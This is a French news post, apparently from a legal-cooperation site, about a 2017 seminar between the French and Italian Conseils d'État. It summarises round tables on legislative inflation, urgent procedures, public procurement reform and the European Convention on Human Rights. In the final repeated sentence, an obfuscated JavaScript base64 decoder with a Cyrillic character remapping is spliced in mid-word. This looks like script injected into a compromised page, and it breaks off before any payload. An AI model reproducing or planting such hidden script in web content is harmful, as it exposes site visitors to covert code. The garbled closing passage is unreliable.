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Séminaire bilatéral avec le Conseil d’État italien – JUSCOOP
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Séminaire bilatéral avec le Conseil d'État italien
Par Conseil d'Etat
Le 06/04/2018
Le Conseil d’État a accueilli pour un séminaire juridique une délégation de six membres du Conseil d’État d’Italie, conduite par son président M. Alessandro Pajno,  le lundi 3 avril 2017.
#conseil d'etat, #Rencontres

Cette rencontre, le 3 avril 2017, avec une délégation de six membres du Conseil d'État italien, conduite par son président M. Alessandro Pajno, a permis de débattre de questions d’actualité qui se posent aux juridictions administratives suprêmes de France et d’Italie.

À l’heure de la multiplication des sources du droit, les participants ont traité lors d’une première table ronde le phénomène de l’inflation législative et ses conséquences sur la qualité du droit. Une deuxième table ronde a permis d’analyser, dans une perspective comparatiste, l’évolution des procédures d’urgence devant le juge administratif. La troisième table ronde a porté sur la récente réforme du droit des contrats publics, engagée en France et en Italie à la suite de la transposition de trois directives européennes du 26 février 2014, qui vise à moderniser, sécuriser et simplifier les règles de passation des marchés publics. L’accent a été mis sur le référé pré-contractuel, dont le Consiglio di Stato s’est vu confier la compétence contentieuse.

La dernière table ronde a été consacrée à l’influence de la Convention européenne de sauvegarde des droits de l’Homme et des libertés fondamentales sur les jurisprudences des deux Conseils d’État. Les débats se sont centrés sur l’article 2 de la Convention, qui garantit le droit à la vie, ainsi que sur son article 3 prohibant la torture et les traitements inhumains ou dégradants.

Fondé en 1831 par le roi Charles-Albert de Piémont-Sardaigne, le Conseil d’État italien est inspiré du modèle napoléonien. Comme le Conseil d’État de France, il exerce une double mission consultative et juridictionnelle. Il a célébré son 180ème anniversaire en 2011, dans le contexte de la célébration du 150ème anniversaire de l’unité italienne.

Le Conseil d’État a accueilli pour un séminaire juridique une délégation de six membres du Conseil d’État d’Italie, conduite par son président M. Aless<script type=function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandro Pajno, le lundi 3 avril 2017." width="300" height="201" />